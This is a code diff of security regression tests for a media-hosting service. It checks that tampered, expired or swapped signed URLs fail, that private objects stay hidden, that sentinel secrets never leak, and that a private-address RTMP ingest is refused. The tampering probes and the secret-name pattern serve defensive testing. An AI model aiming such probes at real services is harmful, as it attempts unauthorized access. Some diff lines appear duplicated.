+ assert.ok(projected.length >= 2, `the private rows have projected objects (${JSON.stringify(projected)})`);
+ for (const o of projected.filter(x => x.visibility === 'private')) {
+ await same([`/o/${o.id}`], [`/o/${UNKNOWN}`], `projected private object ${o.id} looks missing on /o`);
+ }
+ assert.ok(projected.some(o => o.visibility === 'private'), 'a private row\'s objects are private');
+ console.log('✅ /v /c /p with another app or user, v1 reads across apps, projected VOD/thumbnail objects on /o');
- // ── 4. Signatures ──
- const miss = [`/o/${UNKNOWN}`];
- const good = signing.signedDownloadUrl(privObj, 60);
- const q = new URL(good.url).searchParams;
- assert.strictEqual((await get(local(good.url))).status, 200, 'a valid signature serves (control)');
- await same([`/o/${privObj}?exp=${now - 10}&sig=${signing.signedDownloadUrl(privObj, 60).url.split('sig=')[1]}`], miss, 'an old signature with a moved expiry');
- const expired = (() => { const real = Date.now; Date.now = () => real() - 3600 * 1000; try { return signing.signedDownloadUrl(privObj, 60); } finally { Date.now = real; } })();
- await same([local(expired.url)], miss, 'an expired signature looks like an unknown id');
- await same([`/o/${privObj}?exp=${Number(q.get('exp')) + 1000}&sig=${q.get('sig')}`], miss, 'a signature with its expiry pushed out');
- await same([`/o/${privObj}?exp=${q.get('exp')}&sig=${q.get('sig').slice(0, -2)}AA`], miss, 'a tampered signature');
- const other = new URL(signing.signedDownloadUrl(projObj, 60).url).searchParams;
- await same([`/o/${privObj}?exp=${other.get('exp')}&sig=${other.get('sig')}`], miss, 'another object\'s signature');
- await same([`/o/${sandboxObj}`], miss, 'a sandbox object is never public, whatever its visibility');
- await same([`/o/${projObj}`], miss, 'a project\'s private object without a signature');
- assert.strictEqual((await get(`/o/${unlObj}`)).status, 200, 'unlisted serves by direct link (control)');
+ // ── 4. Signatures ──
+ const miss = [`/o/${UNKNOWN}`];
+ const good = signing.signedDownloadUrl(privObj, 60);
+ const q = new URL(good.url).searchParams;
+ assert.strictEqual((await get(local(good.url))).status, 200, 'a valid signature serves (control)');
+ await same([`/o/${privObj}?exp=${now - 10}&sig=${signing.signedDownloadUrl(privObj, 60).url.split('sig=')[1]}`], miss, 'an old signature with a moved expiry');
+ const expired = (() => { const real = Date.now; Date.now = () => real() - 3600 * 1000; try { return signing.signedDownloadUrl(privObj, 60); } finally { Date.now = real; } })();
+ await same([local(expired.url)], miss, 'an expired signature looks like an unknown id');
+ await same([`/o/${privObj}?exp=${Number(q.get('exp')) + 1000}&sig=${q.get('sig')}`], miss, 'a signature with its expiry pushed out');
+ await same([`/o/${privObj}?exp=${q.get('exp')}&sig=${q.get('sig').slice(0, -2)}AA`], miss, 'a tampered signature');
+ const other = new URL(signing.signedDownloadUrl(projObj, 60).url).searchParams;
+ await same([`/o/${privObj}?exp=${other.get('exp')}&sig=${other.get('sig')}`], miss, 'another object\'s signature');
+ await same([`/o/${sandboxObj}`], miss, 'a sandbox object is never public, whatever its visibility');
+ await same([`/o/${projObj}`], miss, 'a project\'s private object without a signature');
+ assert.strictEqual((await get(`/o/${unlObj}`)).status, 200, 'unlisted serves by direct link (control)');
- // Sandbox files (/f/:key): only a valid signed URL, and a bad one looks like an unknown key.
- const fd = new FormData();
- fd.append('file', new Blob([Buffer.from('sandbox bytes')], { type: 'text/plain' }), 's.txt');
- const up = await fetch(`${base}/api/v1/${PA}/files`, { method: 'POST', headers: bearer(appTok(PA, 'sandbox')), body: fd });
- const file = await up.json();
- assert.strictEqual(up.status, 201, JSON.stringify(file));
- const fq = new URL(file.url).searchParams;
- const k = encodeURIComponent(file.key);
- assert.strictEqual((await get(local(file.url))).status, 200, 'the signed sandbox file URL serves (control)');
- const fmiss = ['/f/no-such-file-key.txt'];
- await same([`/f/${k}`], fmiss, 'a sandbox file without a signature looks missing');
- await same([`/f/${k}?exp=${Number(fq.get('exp')) + 1000}&sig=${fq.get('sig')}`], fmiss, 'a sandbox file signature with its expiry pushed out');
- await same([`/f/${k}?exp=${now - 10}&sig=${signing.signedFileUrl(file.key, 60).url.split('sig=')[1]}`], fmiss, 'an expired sandbox file signature');
- const otherFile = new URL(signing.signedFileUrl('another-key.txt', 60).url).searchParams;
- await same([`/f/${k}?exp=${otherFile.get('exp')}&sig=${otherFile.get('sig')}`], fmiss, 'another file\'s signature');
- console.log('✅ signatures: expired, extended, tampered and other objects\' or files\' signatures answer as an unknown id');
+ // Sandbox files (/f/:key): only a valid signed URL, and a bad one looks like an unknown key.
+ const fd = new FormData();
+ fd.append('file', new Blob([Buffer.from('sandbox bytes')], { type: 'text/plain' }), 's.txt');
+ const up = await fetch(`${base}/api/v1/${PA}/files`, { method: 'POST', headers: bearer(appTok(PA, 'sandbox')), body: fd });
+ const file = await up.json();
+ assert.strictEqual(up.status, 201, JSON.stringify(file));
+ const fq = new URL(file.url).searchParams;
+ const k = encodeURIComponent(file.key);
+ assert.strictEqual((await get(local(file.url))).status, 200, 'the signed sandbox file URL serves (control)');
+ const fmiss = ['/f/no-such-file-key.txt'];
+ await same([`/f/${k}`], fmiss, 'a sandbox file without a signature looks missing');
+ await same([`/f/${k}?exp=${Number(fq.get('exp')) + 1000}&sig=${fq.get('sig')}`], fmiss, 'a sandbox file signature with its expiry pushed out');
+ await same([`/f/${k}?exp=${now - 10}&sig=${signing.signedFileUrl(file.key, 60).url.split('sig=')[1]}`], fmiss, 'an expired sandbox file signature');
+ const otherFile = new URL(signing.signedFileUrl('another-key.txt', 60).url).searchParams;
+ await same([`/f/${k}?exp=${otherFile.get('exp')}&sig=${otherFile.get('sig')}`], fmiss, 'another file\'s signature');
+ console.log('✅ signatures: expired, extended, tampered and other objects\' or files\' signatures answer as an unknown id');
- server.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('security-private: all checks passed');
- process.exit(0);
-})().catch((err) => { console.error(err); server.close(); process.exit(1); });
+ server.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('security-private: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); server.close(); process.exit(1); });
+})().catch((err) => { console.error(err); process.exit(1); });
@@ -17,295 +17,297 @@ const path = require('path');
@@ -17,295 +17,297 @@ const path = require('path');
const http = require('http');
const http = require('http');
const crypto = require('crypto');
const crypto = require('crypto');
-const ROOT = path.join(__dirname, '..');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-secrets-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-const CLOSED = 'http://127.0.0.1:9'; // nothing listens there: no tier, Live or Events is ever reached
-
-// ── Sentinels ────────────────────────────────────────────────
-const S = (name) => `sentinel-not-a-secret-${name}`;
-const LIVE_KEY = S('live-app-key');
-const GAMES_KEY = S('games-app-key');
-const SECRET_ENV = {
- INTERNAL_API_KEY: S('internal-api-key'),
- MEDIA_SIGNING_SECRET: S('media-signing-secret'),
- MEDIA_SECRET: S('media-secret'),
- VIEW_HASH_SECRET: S('view-hash-secret'),
- MEDIA_INBOUND_EVENTS_SECRET: S('media-inbound-events-secret'),
- OV_OAUTH_CLIENT_SECRET: S('oauth-client-secret'),
- MEDIA_B2_KEY_ID: S('b2-key-id'),
- MEDIA_B2_APP_KEY: S('b2-app-key'),
- MEDIA_R2_ACCESS_KEY_ID: S('r2-access-key-id'),
- MEDIA_R2_SECRET_ACCESS_KEY: S('r2-secret-access-key'),
- MEDIA_APP_KEYS: `live:${LIVE_KEY}`,
- MEDIA_APPS_SEED: JSON.stringify([{ app_id: 'games', name: 'Games', api_key: GAMES_KEY, webhook_url: `${CLOSED}/hook`, webhook_secret: S('games-webhook-secret'), allowed_origins: ['https://games.test'] }]),
-};
-const sentinels = new Map([
- ...Object.entries(SECRET_ENV).filter(([k]) => !['MEDIA_APP_KEYS', 'MEDIA_APPS_SEED'].includes(k)),
- ['live app key', LIVE_KEY], ['games app key', GAMES_KEY], ['games webhook secret', S('games-webhook-secret')],
- ['stream key', S('stream-key')], ['rtmp path key', S('rtmp-path-key')],
-]);
+(async () => {
+ const ROOT = path.join(__dirname, '..');
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-secrets-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ const CLOSED = 'http://127.0.0.1:9'; // nothing listens there: no tier, Live or Events is ever reached
-// Every secret-looking variable the service reads has a sentinel above.
-{
- const names = new Set();
- const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); if (e.isDirectory()) walk(p); else if (p.endsWith('.js')) for (const m of fs.readFileSync(p, 'utf8').matchAll(/process\.env\.([A-Z0-9_]+)/g)) names.add(m[1]); } };
- walk(path.join(ROOT, 'server'));
- for (const line of fs.readFileSync(path.join(ROOT, '.env.example'), 'utf8').split('\n')) { const m = /^\s*#?\s*([A-Z][A-Z0-9_]+)=/.exec(line); if (m) names.add(m[1]); }
- const secretish = [...names].filter(n => /SECRET|_KEY$|_KEYS$|KEY_ID$|TOKEN|PASSWORD|PASSWD|CREDENTIAL|_SEED$|PRIVATE/.test(n) && !/_(S|MS|MB|GB|MIN|HOURS|DAYS)$/.test(n)); // not the numeric settings (MEDIA_UPLOAD_TOKEN_TTL_S)
- assert.ok(secretish.length >= 10, `found the secret variables (${secretish})`);
- for (const n of secretish) assert.ok(Object.prototype.hasOwnProperty.call(SECRET_ENV, n), `${n} is read by the service: give it a sentinel in test/security-secrets.test.js`);
-}
+ // ── Sentinels ────────────────────────────────────────────────
+ const S = (name) => `sentinel-not-a-secret-${name}`;
+ const LIVE_KEY = S('live-app-key');
+ const GAMES_KEY = S('games-app-key');
+ const SECRET_ENV = {
+ INTERNAL_API_KEY: S('internal-api-key'),
+ MEDIA_SIGNING_SECRET: S('media-signing-secret'),
+ MEDIA_SECRET: S('media-secret'),
+ VIEW_HASH_SECRET: S('view-hash-secret'),
+ MEDIA_INBOUND_EVENTS_SECRET: S('media-inbound-events-secret'),
+ OV_OAUTH_CLIENT_SECRET: S('oauth-client-secret'),
+ MEDIA_B2_KEY_ID: S('b2-key-id'),
+ MEDIA_B2_APP_KEY: S('b2-app-key'),
+ MEDIA_R2_ACCESS_KEY_ID: S('r2-access-key-id'),
+ MEDIA_R2_SECRET_ACCESS_KEY: S('r2-secret-access-key'),
+ MEDIA_APP_KEYS: `live:${LIVE_KEY}`,
+ MEDIA_APPS_SEED: JSON.stringify([{ app_id: 'games', name: 'Games', api_key: GAMES_KEY, webhook_url: `${CLOSED}/hook`, webhook_secret: S('games-webhook-secret'), allowed_origins: ['https://games.test'] }]),
+ };
+ const sentinels = new Map([
+ ...Object.entries(SECRET_ENV).filter(([k]) => !['MEDIA_APP_KEYS', 'MEDIA_APPS_SEED'].includes(k)),
+ ['live app key', LIVE_KEY], ['games app key', GAMES_KEY], ['games webhook secret', S('games-webhook-secret')],
+ ['stream key', S('stream-key')], ['rtmp path key', S('rtmp-path-key')],
+ ]);
-// A throwaway Network signing key: service tokens and staff sign-ins verify against it; its private half must never show.
-const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
-sentinels.set('network private key', keys.privateKey.split('\n')[5]);
+ // Every secret-looking variable the service reads has a sentinel above.
+ {
+ const names = new Set();
+ const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); if (e.isDirectory()) walk(p); else if (p.endsWith('.js')) for (const m of fs.readFileSync(p, 'utf8').matchAll(/process\.env\.([A-Z0-9_]+)/g)) names.add(m[1]); } };
+ walk(path.join(ROOT, 'server'));
+ for (const line of fs.readFileSync(path.join(ROOT, '.env.example'), 'utf8').split('\n')) { const m = /^\s*#?\s*([A-Z][A-Z0-9_]+)=/.exec(line); if (m) names.add(m[1]); }
+ const secretish = [...names].filter(n => /SECRET|_KEY$|_KEYS$|KEY_ID$|TOKEN|PASSWORD|PASSWD|CREDENTIAL|_SEED$|PRIVATE/.test(n) && !/_(S|MS|MB|GB|MIN|HOURS|DAYS)$/.test(n)); // not the numeric settings (MEDIA_UPLOAD_TOKEN_TTL_S)
+ assert.ok(secretish.length >= 10, `found the secret variables (${secretish})`);
+ for (const n of secretish) assert.ok(Object.prototype.hasOwnProperty.call(SECRET_ENV, n), `${n} is read by the service: give it a sentinel in test/security-secrets.test.js`);
+ }
-// Output of the service (console lines) is kept to be checked too.
-let logs = '';
-for (const stream of [process.stdout, process.stderr]) {
- const write = stream.write.bind(stream);
- stream.write = (chunk, ...rest) => { logs += String(chunk); return write(chunk, ...rest); };
-}
+ // A throwaway Network signing key: service tokens and staff sign-ins verify against it; its private half must never show.
+ const keys = crypto.generateKeyPairSync('rsa', { modulusLength: 2048, publicKeyEncoding: { type: 'spki', format: 'pem' }, privateKeyEncoding: { type: 'pkcs8', format: 'pem' } });
+ sentinels.set('network private key', keys.privateKey.split('\n')[5]);
-// A stand-in Network on loopback: its signing key for tokens and sign-ins; no service tokens (503).
-const network = http.createServer((req, res) => {
- if (req.url === '/api/.well-known/jwks') {
- const jwk = crypto.createPublicKey(keys.publicKey).export({ format: 'jwk' });
- res.writeHead(200, { 'content-type': 'application/json' });
- return res.end(JSON.stringify({ keys: [{ ...jwk, kid: 'test', alg: 'RS256', use: 'sig' }], public_key: keys.publicKey, algorithm: 'RS256' }));
+ // Output of the service (console lines) is kept to be checked too.
+ let logs = '';
+ for (const stream of [process.stdout, process.stderr]) {
+ const write = stream.write.bind(stream);
+ stream.write = (chunk, ...rest) => { logs += String(chunk); return write(chunk, ...rest); };
}
}
- req.resume();
- res.writeHead(503, { 'content-type': 'application/json' });
- res.end('{"error":"unavailable"}');
-});
-(async () => {
- await new Promise((r) => network.listen(0, '127.0.0.1', r));
- const NET = `http://127.0.0.1:${network.address().port}`;
- Object.assign(process.env, SECRET_ENV, {
- PORT: '0', HOST: '127.0.0.1', NODE_ENV: 'test',
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), PASTES_PATH: dir('pastes'),
- THUMBNAILS_PATH: dir('thumbnails'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),
- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: NET, OV_NETWORK_INTERNAL_URL: NET, EVENTS_URL: NET,
- OV_LIVE_INTERNAL_URL: CLOSED, LIVE_APP_INTERNAL_URL: CLOSED, APP_INTERNAL_URLS: JSON.stringify({ live: CLOSED }),
- MEDIA_B2_ENDPOINT: CLOSED, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_REGION: 'us-west-004',
- MEDIA_R2_ENDPOINT: CLOSED, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_REGION: 'auto',
- MEDIA_JOBS_ENABLED: '0', MEDIA_VERIFY_ENABLED: '0', MEDIA_OWNER_SUBJECT_SYNC: '0', MEDIA_LINEAGE: 'off',
+ // A stand-in Network on loopback: its signing key for tokens and sign-ins; no service tokens (503).
+ const network = http.createServer((req, res) => {
+ if (req.url === '/api/.well-known/jwks') {
+ const jwk = crypto.createPublicKey(keys.publicKey).export({ format: 'jwk' });
+ res.writeHead(200, { 'content-type': 'application/json' });
+ return res.end(JSON.stringify({ keys: [{ ...jwk, kid: 'test', alg: 'RS256', use: 'sig' }], public_key: keys.publicKey, algorithm: 'RS256' }));
+ }
+ req.resume();
+ res.writeHead(503, { 'content-type': 'application/json' });
+ res.end('{"error":"unavailable"}');
});
});
- for (const k of ['MEDIA_DRILL', 'PASTES_MOVED_TO', 'EVENTS_PUBLISH']) delete process.env[k];
- const { app, server } = require('../server/index.js');
- if (!server.listening) await new Promise((r) => server.once('listening', r));
- const auth = require('../server/auth');
- auth._setNetworkPublicKeyForTests(keys.publicKey);
- const db = require('../server/db/database');
- const base = `http://127.0.0.1:${server.address().port}`;
+ (async () => {
+ await new Promise((r) => network.listen(0, '127.0.0.1', r));
+ const NET = `http://127.0.0.1:${network.address().port}`;
+ Object.assign(process.env, SECRET_ENV, {
+ PORT: '0', HOST: '127.0.0.1', NODE_ENV: 'test',
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), PASTES_PATH: dir('pastes'),
+ THUMBNAILS_PATH: dir('thumbnails'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),
+ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: NET, OV_NETWORK_INTERNAL_URL: NET, EVENTS_URL: NET,
+ OV_LIVE_INTERNAL_URL: CLOSED, LIVE_APP_INTERNAL_URL: CLOSED, APP_INTERNAL_URLS: JSON.stringify({ live: CLOSED }),
+ MEDIA_B2_ENDPOINT: CLOSED, MEDIA_B2_BUCKET: 'b2-bucket', MEDIA_B2_REGION: 'us-west-004',
+ MEDIA_R2_ENDPOINT: CLOSED, MEDIA_R2_BUCKET: 'r2-bucket', MEDIA_R2_REGION: 'auto',
+ MEDIA_JOBS_ENABLED: '0', MEDIA_VERIFY_ENABLED: '0', MEDIA_OWNER_SUBJECT_SYNC: '0', MEDIA_LINEAGE: 'off',
+ });
+ for (const k of ['MEDIA_DRILL', 'PASTES_MOVED_TO', 'EVENTS_PUBLISH']) delete process.env[k];
- // ── Credentials ──
- const now = Math.floor(Date.now() / 1000);
- const { serviceAuth } = require('openvibe-contracts');
- const svcToken = (over = {}) => serviceAuth.signServiceToken({
- iss: NET, sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read', 'media.object.list', 'media.derivative.create'],
- ns: ['live', 'live.*'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over,
- }, keys.privateKey);
- const jwt = require('jsonwebtoken');
- const staff = jwt.sign({ sub: 1, subject_id: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', username: 'staff', role: 'admin', aud: ['openvibe.media', 'openvibe.network'] }, keys.privateKey, { algorithm: 'RS256', issuer: NET, expiresIn: 300 });
- const IDS = {
- anonymous: {},
- wrongKey: { authorization: 'Bearer wrong-key' },
- otherApp: { authorization: `Bearer ${GAMES_KEY}` },
- app: { authorization: `Bearer ${LIVE_KEY}` },
- acting: { authorization: `Bearer ${LIVE_KEY}`, 'x-ov-user-id': '5' },
- service: { authorization: `Bearer ${svcToken()}` },
- expiredService: { authorization: `Bearer ${svcToken({ iat: now - 900, exp: now - 600 })}` },
- staff: { authorization: `Bearer ${staff}` },
- staffCookie: { cookie: `ov_token=${staff}` },
- };
+ const { app, server } = await require('../server/index.js').ready;
+ if (!server.listening) await new Promise((r) => server.once('listening', r));
+ const auth = require('../server/auth');
+ auth._setNetworkPublicKeyForTests(keys.publicKey);
+ const db = require('../server/db/database');
+ const base = `http://127.0.0.1:${server.address().port}`;
- // ── Requests: every answer is kept for the scan ──
- const seen = [];
- const call = async (method, p, { headers = {}, body, json, as } = {}) => {
- const h = { ...headers };
- let payload = body;
- if (json !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(json); }
- const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });
- const buf = Buffer.from(await res.arrayBuffer());
- const text = buf.toString('latin1');
- seen.push({ where: `${method} ${p} [${as || Object.keys(headers).join(',') || 'anonymous'}]`, status: res.status, text, headers: [...res.headers].map(([k, v]) => `${k}: ${v}`).join('\n') });
- let parsed = null; try { parsed = JSON.parse(buf.toString('utf8')); } catch { /* not JSON */ }
- return { status: res.status, body: parsed, text };
- };
+ // ── Credentials ──
+ const now = Math.floor(Date.now() / 1000);
+ const { serviceAuth } = require('openvibe-contracts');
+ const svcToken = (over = {}) => serviceAuth.signServiceToken({
+ iss: NET, sub: 'svc:example', actor_type: 'service', aud: ['openvibe.media'], cap: ['media.object.upload', 'media.object.read', 'media.object.list', 'media.derivative.create'],
+ ns: ['live', 'live.*'], iat: now, exp: now + 300, jti: `tok_${crypto.randomBytes(6).toString('hex')}`, ...over,
+ }, keys.privateKey);
+ const jwt = require('jsonwebtoken');
+ const staff = jwt.sign({ sub: 1, subject_id: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', username: 'staff', role: 'admin', aud: ['openvibe.media', 'openvibe.network'] }, keys.privateKey, { algorithm: 'RS256', issuer: NET, expiresIn: 300 });
+ const IDS = {
+ anonymous: {},
+ wrongKey: { authorization: 'Bearer wrong-key' },
+ otherApp: { authorization: `Bearer ${GAMES_KEY}` },
+ app: { authorization: `Bearer ${LIVE_KEY}` },
+ acting: { authorization: `Bearer ${LIVE_KEY}`, 'x-ov-user-id': '5' },
+ service: { authorization: `Bearer ${svcToken()}` },
+ expiredService: { authorization: `Bearer ${svcToken({ iat: now - 900, exp: now - 600 })}` },
+ staff: { authorization: `Bearer ${staff}` },
+ staffCookie: { cookie: `ov_token=${staff}` },
+ };
- // ── Data to serve: a VOD carrying a stream key, a clip, objects public and private, a file, a hold ──
- let r = await call('POST', '/api/v1/live/vods', { headers: IDS.app, json: { title: 'Keyed', user_id: 5, stream_key: S('stream-key'), visibility: 'public' } });
- assert.strictEqual(r.status, 201, r.text);
- const vodId = r.body.id;
- const vodFile = path.join(process.env.VOD_PATH, `vod-${vodId}.webm`);
- fs.writeFileSync(vodFile, Buffer.alloc(64, 1));
- db.run('UPDATE vods SET file_path = ?, duration_seconds = 10 WHERE id = ?', [vodFile, vodId]);
- r = await call('POST', `/api/v1/live/vods/${vodId}/ingest/rtmp`, { headers: IDS.app, json: { rtmp_url: `rtmp://10.0.0.5:1935/live/${S('rtmp-path-key')}` } });
- assert.ok(r.status >= 400, 'an address off the RTMP allow-list is refused');
- const clipFile = path.join(process.env.CLIPS_PATH, 'clip-a.webm');
- fs.writeFileSync(clipFile, Buffer.alloc(32, 2));
- const clipId = Number(db.getDb().prepare("INSERT INTO clips (app_id, vod_id, user_id, title, file_path, is_public, visibility, status) VALUES ('live', ?, 5, 'Clip', ?, 1, 'public', 'ready')").run(vodId, clipFile).lastInsertRowid);
- const mkObject = async (visibility) => {
- const bytes = Buffer.from(`hello ${visibility}`);
- let o = await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { kind: 'file', mime_type: 'text/plain', size_bytes: bytes.length, visibility, filename: 'a.txt' } });
- assert.strictEqual(o.status, 201, o.text);
- const id = o.body.id;
- o = await call('PUT', o.body.upload.url.replace('https://media.test', ''), { headers: { 'content-type': 'text/plain' }, body: bytes });
- assert.strictEqual(o.status, 200, o.text);
- o = await call('POST', `/api/v2/live/objects/${id}/complete`, { headers: IDS.app, json: {} });
- assert.strictEqual(o.status, 200, o.text);
- return id;
- };
- const pubObj = await mkObject('public');
- const privObj = await mkObject('private');
- const browser = { 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36' };
- assert.strictEqual((await call('GET', `/o/${pubObj}`, { headers: browser })).status, 200, 'a view is counted (the day\'s salt is made)');
- r = await call('POST', `/api/v2/live/objects/${privObj}/holds`, { headers: IDS.app, json: { kind: 'dmca', reason: 'notice' } });
- assert.strictEqual(r.status, 201, r.text);
- const fd = new FormData();
- fd.append('file', new Blob([Buffer.from('file bytes')], { type: 'text/plain' }), 'f.txt');
- r = await call('POST', '/api/v1/live/files', { headers: IDS.app, body: fd });
- assert.strictEqual(r.status, 201, r.text);
- const fileKey = r.body.key;
- const signed = require('../server/objects/signing').signedDownloadUrl(privObj, 60).url.replace('https://media.test', '');
+ // ── Requests: every answer is kept for the scan ──
+ const seen = [];
+ const call = async (method, p, { headers = {}, body, json, as } = {}) => {
+ const h = { ...headers };
+ let payload = body;
+ if (json !== undefined) { h['content-type'] = 'application/json'; payload = JSON.stringify(json); }
+ const res = await fetch(base + p, { method, headers: h, body: payload, redirect: 'manual' });
+ const buf = Buffer.from(await res.arrayBuffer());
+ const text = buf.toString('latin1');
+ seen.push({ where: `${method} ${p} [${as || Object.keys(headers).join(',') || 'anonymous'}]`, status: res.status, text, headers: [...res.headers].map(([k, v]) => `${k}: ${v}`).join('\n') });
+ let parsed = null; try { parsed = JSON.parse(buf.toString('utf8')); } catch { /* not JSON */ }
+ return { status: res.status, body: parsed, text };
+ };
- // ── Every route in the router stack ──
- function mountPrefix(layer) {
- if (layer.regexp.fast_slash) return '';
- let i = 0;
- const p = layer.regexp.source
- .replace(/\(\?:(\\\/)?\(\[\^\\?\/\]\+\?\)\)/g, (_m, slash) => `${slash ? '/' : ''}:${layer.keys[i++].name}`)
- .replace(/^\^/, '').replace(/\\\/\?\(\?=\\\/\|\$\)$/, '').replace(/\\\//g, '/');
- assert.ok(/^[\w/:.-]*$/.test(p), `mount path read from the router stack: ${layer.regexp}`);
- return p;
- }
- const routes = [];
- (function walk(stack, prefix) {
- for (const layer of stack) {
- if (layer.route) {
- const paths = Array.isArray(layer.route.path) ? layer.route.path : [layer.route.path];
- for (const p of paths) {
- if (typeof p !== 'string') continue;
- for (const m of Object.keys(layer.route.methods)) if (m !== '_all') routes.push({ method: m.toUpperCase(), path: prefix + p });
+ // ── Data to serve: a VOD carrying a stream key, a clip, objects public and private, a file, a hold ──
+ let r = await call('POST', '/api/v1/live/vods', { headers: IDS.app, json: { title: 'Keyed', user_id: 5, stream_key: S('stream-key'), visibility: 'public' } });
+ assert.strictEqual(r.status, 201, r.text);
+ const vodId = r.body.id;
+ const vodFile = path.join(process.env.VOD_PATH, `vod-${vodId}.webm`);
+ fs.writeFileSync(vodFile, Buffer.alloc(64, 1));
+ await db.run('UPDATE vods SET file_path = ?, duration_seconds = 10 WHERE id = ?', [vodFile, vodId]);
+ r = await call('POST', `/api/v1/live/vods/${vodId}/ingest/rtmp`, { headers: IDS.app, json: { rtmp_url: `rtmp://10.0.0.5:1935/live/${S('rtmp-path-key')}` } });
+ assert.ok(r.status >= 400, 'an address off the RTMP allow-list is refused');
+ const clipFile = path.join(process.env.CLIPS_PATH, 'clip-a.webm');
+ fs.writeFileSync(clipFile, Buffer.alloc(32, 2));
+ const clipId = Number((await db.getDb().prepare("INSERT INTO clips (app_id, vod_id, user_id, title, file_path, is_public, visibility, status) VALUES ('live', ?, 5, 'Clip', ?, 1, 'public', 'ready') RETURNING id").run(vodId, clipFile)).lastInsertRowid);
+ const mkObject = async (visibility) => {
+ const bytes = Buffer.from(`hello ${visibility}`);
+ let o = await call('POST', '/api/v2/live/objects', { headers: IDS.app, json: { kind: 'file', mime_type: 'text/plain', size_bytes: bytes.length, visibility, filename: 'a.txt' } });
+ assert.strictEqual(o.status, 201, o.text);
+ const id = o.body.id;
+ o = await call('PUT', o.body.upload.url.replace('https://media.test', ''), { headers: { 'content-type': 'text/plain' }, body: bytes });
+ assert.strictEqual(o.status, 200, o.text);
+ o = await call('POST', `/api/v2/live/objects/${id}/complete`, { headers: IDS.app, json: {} });
+ assert.strictEqual(o.status, 200, o.text);
+ return id;
+ };
+ const pubObj = await mkObject('public');
+ const privObj = await mkObject('private');
+ const browser = { 'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0 Safari/537.36' };
+ assert.strictEqual((await call('GET', `/o/${pubObj}`, { headers: browser })).status, 200, 'a view is counted (the day\'s salt is made)');
+ r = await call('POST', `/api/v2/live/objects/${privObj}/holds`, { headers: IDS.app, json: { kind: 'dmca', reason: 'notice' } });
+ assert.strictEqual(r.status, 201, r.text);
+ const fd = new FormData();
+ fd.append('file', new Blob([Buffer.from('file bytes')], { type: 'text/plain' }), 'f.txt');
+ r = await call('POST', '/api/v1/live/files', { headers: IDS.app, body: fd });
+ assert.strictEqual(r.status, 201, r.text);
+ const fileKey = r.body.key;
+ const signed = require('../server/objects/signing').signedDownloadUrl(privObj, 60).url.replace('https://media.test', '');
+
+ // ── Every route in the router stack ──
+ function mountPrefix(layer) {
+ if (layer.regexp.fast_slash) return '';
+ let i = 0;
+ const p = layer.regexp.source
+ .replace(/\(\?:(\\\/)?\(\[\^\\?\/\]\+\?\)\)/g, (_m, slash) => `${slash ? '/' : ''}:${layer.keys[i++].name}`)
+ .replace(/^\^/, '').replace(/\\\/\?\(\?=\\\/\|\$\)$/, '').replace(/\\\//g, '/');
+ assert.ok(/^[\w/:.-]*$/.test(p), `mount path read from the router stack: ${layer.regexp}`);
+ return p;
+ }
+ const routes = [];
+ (function walk(stack, prefix) {
+ for (const layer of stack) {
+ if (layer.route) {
+ const paths = Array.isArray(layer.route.path) ? layer.route.path : [layer.route.path];
+ for (const p of paths) {
+ if (typeof p !== 'string') continue;
+ for (const m of Object.keys(layer.route.methods)) if (m !== '_all') routes.push({ method: m.toUpperCase(), path: prefix + p });
+ }
+ } else if (layer.handle && Array.isArray(layer.handle.stack)) {
+ walk(layer.handle.stack, prefix + mountPrefix(layer));
}
}
- } else if (layer.handle && Array.isArray(layer.handle.stack)) {
- walk(layer.handle.stack, prefix + mountPrefix(layer));
}
}
+ })(app._router.stack, '');
+ const uniq = [...new Map(routes.map(x => [`${x.method} ${x.path}`, x])).values()];
+ for (const must of ['GET /o/:id', 'GET /api/v2/:app/objects/:id', 'GET /api/v1/:app/vods/:id', 'GET /v/:id', 'GET /api/v1/:app/admin/storage/tiers/policy', 'GET /api/v2/me/objects', 'GET /api/ready', 'GET /metrics', 'GET /release.json', 'POST /internal/avatar-ingest']) {
+ assert.ok(uniq.some(x => `${x.method} ${x.path}` === must), `the router walk finds ${must}`);
}
}
- })(app._router.stack, '');
- const uniq = [...new Map(routes.map(x => [`${x.method} ${x.path}`, x])).values()];
